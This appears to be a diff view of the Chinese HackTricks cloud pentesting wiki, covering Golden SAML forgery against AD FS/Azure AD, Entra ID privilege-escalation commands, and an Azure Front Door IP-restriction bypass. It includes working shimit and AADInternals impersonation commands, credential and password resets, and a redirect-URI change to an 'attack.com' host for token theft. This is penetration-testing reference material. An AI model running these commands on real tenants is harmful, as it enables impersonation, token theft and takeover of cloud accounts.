您可以**将本地环境与 Azure AD 联邦**，并使用此联邦进行身份验证和授权。此登录方法确保所有用户**身份验证发生在本地**。此方法允许管理员实施更严格的访问控制。与**AD FS**和 PingFederate 的联邦是可用的。
|
||||
|
||||
<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
基本上，在联邦中，所有**身份验证**发生在**本地**环境中，用户在所有受信任的环境中体验单点登录（SSO）。因此，用户可以使用其**本地凭据**访问**云**应用程序。
|
||||
|
||||
**安全断言标记语言 (SAML)** 用于在提供者之间**交换**所有身份验证和授权**信息**。
|
||||
|
||||
在任何联邦设置中，有三个参与方：
|
||||
|
||||
- 用户或客户端
|
||||
- 身份提供者 (IdP)
|
||||
- 服务提供者 (SP)
|
||||
|
||||
(图片来自 https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
<figure><img src="../../../../images/image (121).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. 最初，用户访问一个应用程序（服务提供者或 SP，例如 AWS 控制台或 vSphere Web 客户端）。根据具体实现，此步骤可能会被绕过，直接将客户端引导到 IdP（身份提供者）。
|
||||
2. 随后，SP 确定适当的 IdP（例如，AD FS，Okta）进行用户身份验证。然后，它构建一个 SAML（安全断言标记语言）AuthnRequest，并将客户端重定向到所选的 IdP。
|
||||
3. IdP 接管，进行用户身份验证。身份验证后，IdP 制定一个 SAMLResponse，并通过用户转发给 SP。
|
||||
4. 最后，SP 评估 SAMLResponse。如果成功验证，表明与 IdP 之间存在信任关系，则用户被授予访问权限。这标志着登录过程的完成，允许用户使用该服务。
|
||||
|
||||
**如果您想了解更多关于 SAML 身份验证和常见攻击的信息，请访问：**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
{{#endref}}
|
||||
|
||||
## 旋转
|
||||
|
||||
- AD FS 是基于声明的身份模型。
|
||||
- "..声明只是关于用户的简单语句（例如，姓名、身份、组），主要用于授权访问位于互联网上任何地方的基于声明的应用程序。"
|
||||
- 用户的声明写入 SAML 令牌中，然后由 IdP 签名以提供机密性。
|
||||
- 用户通过 ImmutableID 进行识别。它是全局唯一的，并存储在 Azure AD 中。
|
||||
- ImmutableID 存储在本地作为 ms-DS-ConsistencyGuid，用户和/或可以从用户的 GUID 派生。
|
||||
- 更多信息请参见 [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
|
||||
|
||||
**黄金 SAML 攻击：**
|
||||
|
||||
- 在 ADFS 中，SAML 响应由令牌签名证书签名。
|
||||
- 如果证书被泄露，则可以作为任何同步到 Azure AD 的用户进行身份验证！
|
||||
- 就像我们的 PTA 滥用一样，用户的密码更改或 MFA 不会产生任何影响，因为我们伪造了身份验证响应。
|
||||
- 可以从 AD FS 服务器提取证书，具有 DA 权限，然后可以从任何连接到互联网的机器上使用。
|
||||
- 更多信息请参见 [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
### 黄金 SAML
|
||||
|
||||
**身份提供者 (IdP)** 生成 **SAMLResponse** 以授权用户登录的过程至关重要。根据 IdP 的具体实现，**响应**可能会使用 **IdP 的私钥**进行**签名**或**加密**。此过程使 **服务提供者 (SP)** 能够确认 SAMLResponse 的真实性，确保它确实是由受信任的 IdP 发出的。
|
||||
|
||||
可以与 [黄金票证攻击](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket) 进行类比，其中用于验证用户身份和权限的密钥（KRBTGT 用于黄金票证，令牌签名私钥用于黄金 SAML）可以被操纵以**伪造身份验证对象**（TGT 或 SAMLResponse）。这允许冒充任何用户，授予对 SP 的未授权访问。
|
||||
|
||||
黄金 SAML 提供某些优势：
|
||||
|
||||
- 它们可以**远程创建**，无需成为相关域或联邦的一部分。
|
||||
- 即使启用**双因素身份验证 (2FA)**，它们仍然有效。
|
||||
- 令牌签名的**私钥不会自动续订**。
|
||||
- **更改用户的密码不会使**已生成的 SAML 无效。
|
||||
|
||||
#### AWS + AD FS + 黄金 SAML
|
||||
|
||||
[活动目录联邦服务 (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) 是一个 Microsoft 服务，促进受信任的商业伙伴之间**身份信息的安全交换**（联邦）。它基本上允许域服务与联邦内的其他服务提供者共享用户身份。
|
||||
|
||||
由于 AWS 信任被泄露的域（在联邦中），可以利用此漏洞来潜在地**获取 AWS 环境中的任何权限**。该攻击需要**用于签名 SAML 对象的私钥**，类似于在黄金票证攻击中需要 KRBTGT。访问 AD FS 用户帐户足以获取此私钥。
|
||||
|
||||
执行黄金 SAML 攻击的要求包括：
|
||||
|
||||
- **令牌签名私钥**
|
||||
- **IdP 公共证书**
|
||||
- **IdP 名称**
|
||||
- **角色名称（要假设的角色）**
|
||||
- 域\用户名
|
||||
- AWS 中的角色会话名称
|
||||
- 亚马逊账户 ID
|
||||
|
||||
_只有加粗的项目是强制性的。其他项目可以根据需要填写。_
|
||||
|
||||
要获取**私钥**，需要访问**AD FS 用户帐户**。从那里，可以使用 [mimikatz](https://github.com/gentilkiwi/mimikatz) 等工具**从个人存储中导出私钥**。要收集其他所需信息，可以使用 Microsoft.Adfs.Powershell snapin，如下所示，确保您以 ADFS 用户身份登录：
|
||||
```bash
|
||||
# From an "AD FS" session
|
||||
# After having exported the key with mimikatz
|
||||
|
||||
# ADFS Public Certificate
|
||||
[System.Convert]::ToBase64String($cer.rawdata)
|
||||
|
||||
# IdP Name
|
||||
(Get-ADFSProperties).Identifier.AbsoluteUri
|
||||
|
||||
# Role Name
|
||||
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule
|
||||
```
|
||||
通过所有信息，可以使用 [**shimit**](https://github.com/cyberark/shimit)**** 伪装成您想要冒充的用户，忘记一个有效的 SAMLResponse：
|
||||
```bash
|
||||
# Apply session for AWS cli
|
||||
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
|
||||
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
|
||||
# pk - Private key file full path (pem format)
|
||||
# c - Certificate file full path (pem format)
|
||||
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
|
||||
# n - Session name in AWS
|
||||
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
|
||||
# id - AWS account id e.g. 123456789012
|
||||
|
||||
# Save SAMLResponse to file
|
||||
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
|
||||
```
|
||||
<figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### 本地 -> 云
|
||||
```bash
|
||||
# With a domain user you can get the ImmutableID of the target user
|
||||
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())
|
||||
|
||||
# On AD FS server execute as administrator
|
||||
Get-AdfsProperties | select identifier
|
||||
|
||||
# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
|
||||
# You need to use the one from AzureAD.
|
||||
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
|
||||
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri
|
||||
|
||||
# Extract the ADFS token signing certificate from the ADFS server using AADInternals
|
||||
Export-AADIntADFSSigningCertificate
|
||||
|
||||
# Impersonate a user to to access cloud apps
|
||||
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
|
||||
```
|
||||
也可以为仅云用户创建 ImmutableID 并冒充他们。
|
||||
```bash
|
||||
# Create a realistic ImmutableID and set it for a cloud only user
|
||||
[System.Convert]::ToBase64String((New-Guid).tobytearray())
|
||||
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="
|
||||
|
||||
# Extract the ADFS token signing certificate from the ADFS server using AADInternals
|
||||
Export-AADIntADFSSigningCertificate
|
||||
|
||||
# Impersonate the user
|
||||
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose
|
||||
```
|
||||
## 参考
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed)
|
||||
- [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+17
-9
@@ -61,7 +61,7 @@ az ad app credential reset --id <appId> --create-cert
|
||||
```
|
||||
### `microsoft.directory/applications.myOrganization/credentials/update`
|
||||
|
||||
这允许与 `applications/credentials/update` 相同的操作，但范围限制在单一目录应用程序。
|
||||
这允许与 `applications/credentials/update` 相同的操作，但范围仅限于单目录应用程序。
|
||||
```bash
|
||||
az ad app credential reset --id <appId> --append
|
||||
```
|
||||
@@ -77,7 +77,7 @@ az ad app owner list --id <appId>
|
||||
```
|
||||
### `microsoft.directory/applications/allProperties/update`
|
||||
|
||||
攻击者可以向租户用户正在使用的应用程序添加重定向 URI，然后与他们共享使用新重定向 URL 的登录 URL，以窃取他们的令牌。请注意，如果用户已经登录了该应用程序，则身份验证将是自动的，无需用户接受任何内容。
|
||||
攻击者可以向租户用户正在使用的应用程序添加重定向 URI，然后与他们共享使用新重定向 URL 的登录 URL，以窃取他们的令牌。请注意，如果用户已经登录到应用程序，则身份验证将自动进行，无需用户接受任何内容。
|
||||
|
||||
请注意，还可以更改应用程序请求的权限，以获取更多权限，但在这种情况下，用户需要再次接受请求所有权限的提示。
|
||||
```bash
|
||||
@@ -86,7 +86,7 @@ az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUr
|
||||
# Add a new redirect URI (make sure to keep the configured ones)
|
||||
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
|
||||
```
|
||||
## 服务主体
|
||||
## Service Principals
|
||||
|
||||
### `microsoft.directory/servicePrincipals/credentials/update`
|
||||
|
||||
@@ -98,13 +98,13 @@ az ad sp credential reset --id <sp-id> --append
|
||||
> 新生成的密码不会出现在网络控制台中，因此这可能是一种隐秘的方式来保持对服务主体的持久性。\
|
||||
> 从API中可以通过以下命令找到它们： `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
如果您收到错误 `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`，这意味着 **无法修改SP的passwordCredentials属性**，您需要先解锁它。为此，您需要一个权限 (`microsoft.directory/applications/allProperties/update`)，允许您执行：
|
||||
如果您收到错误消息 `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`，这意味着**无法修改SP的passwordCredentials属性**，您需要先解锁它。为此，您需要一个权限（`microsoft.directory/applications/allProperties/update`），该权限允许您执行：
|
||||
```bash
|
||||
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
|
||||
```
|
||||
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
|
||||
|
||||
这允许攻击者向现有服务主体添加凭据。如果服务主体具有提升的权限，攻击者可以假设这些权限。
|
||||
这允许攻击者向现有的服务主体添加凭据。如果服务主体具有提升的权限，攻击者可以假设这些权限。
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
@@ -136,7 +136,7 @@ az ad sp owner list --id <spId>
|
||||
|
||||
请注意，对于此技术，攻击者需要更多权限才能接管已启用的服务主体。
|
||||
```bash
|
||||
bashCopy code# Disable
|
||||
# Disable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled false
|
||||
|
||||
# Enable
|
||||
@@ -164,6 +164,14 @@ az rest --method POST \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$credID\"}"
|
||||
```
|
||||
### 应用程序权限提升
|
||||
|
||||
**正如在 [这篇文章](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/) 中所解释的**，很常见的是发现默认应用程序被分配了类型为 **`Application`** 的 **API 权限**。类型为 **`Application`** 的 API 权限（在 Entra ID 控制台中称为）意味着该应用程序可以在没有用户上下文（用户未登录应用程序）的情况下访问 API，并且不需要 Entra ID 角色来允许它。因此，在每个 Entra ID 租户中发现 **高权限应用程序** 是非常常见的。
|
||||
|
||||
然后，如果攻击者拥有任何允许 **更新应用程序凭据（密钥或证书）** 的权限/角色，攻击者可以生成新的凭据，然后使用它来 **以应用程序身份进行身份验证**，获得该应用程序拥有的所有权限。
|
||||
|
||||
请注意，提到的博客分享了一些常见 Microsoft 默认应用程序的 **API 权限**，然而在此报告发布后不久，Microsoft 修复了此问题，现在不再可能以 Microsoft 应用程序身份登录。然而，仍然可以找到 **可能被滥用的高权限自定义应用程序**。
|
||||
|
||||
---
|
||||
|
||||
## 组
|
||||
@@ -187,7 +195,7 @@ az ad group member add --group <GroupName> --member-id <UserId>
|
||||
|
||||
### `microsoft.directory/groups/members/update`
|
||||
|
||||
此权限允许向组中添加成员。攻击者可以将自己或恶意账户添加到特权组中，从而授予提升的访问权限。
|
||||
此权限允许向组中添加成员。攻击者可以将自己或恶意账户添加到特权组中，从而获得提升的访问权限。
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
@@ -218,7 +226,7 @@ dynamic-groups.md
|
||||
|
||||
### `microsoft.directory/users/password/update`
|
||||
|
||||
此权限允许重置非管理员用户的密码，从而使潜在攻击者能够提升对其他用户的权限。此权限不能分配给自定义角色。
|
||||
此权限允许重置非管理员用户的密码，从而允许潜在攻击者提升到其他用户的权限。此权限不能分配给自定义角色。
|
||||
```bash
|
||||
az ad user update --id <user-id> --password "kweoifuh.234"
|
||||
```
|
||||
@@ -252,7 +260,7 @@ az-conditional-access-policies-mfa-bypass.md
|
||||
|
||||
### `microsoft.directory/devices/registeredOwners/update`
|
||||
|
||||
此权限允许攻击者将自己分配为设备的所有者，以获得对设备特定设置和数据的控制或访问。
|
||||
此权限允许攻击者将自己指定为设备的所有者，以获得对设备特定设置和数据的控制或访问。
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
|
||||
@@ -0,0 +1,17 @@
|
||||
# Az - 文件共享
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RemoteAddr 绕过
|
||||
|
||||
这篇 **[博客文章](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** 解释了在配置 Azure Front Door 的一些网络限制时，如何基于 **`RemoteAddr`** 或 **`SocketAddr`** 进行过滤。主要区别在于 **`RemoteAddr`** 实际上使用 **`X-Forwarded-For`** HTTP 头中的值，这使得绕过变得非常简单。
|
||||
|
||||
为了绕过此规则，可以使用自动化工具 **暴力破解 IP 地址**，直到找到一个有效的地址。
|
||||
|
||||
这在 [Microsoft 文档](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction) 中提到。
|
||||
|
||||
## 参考
|
||||
|
||||
- [https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user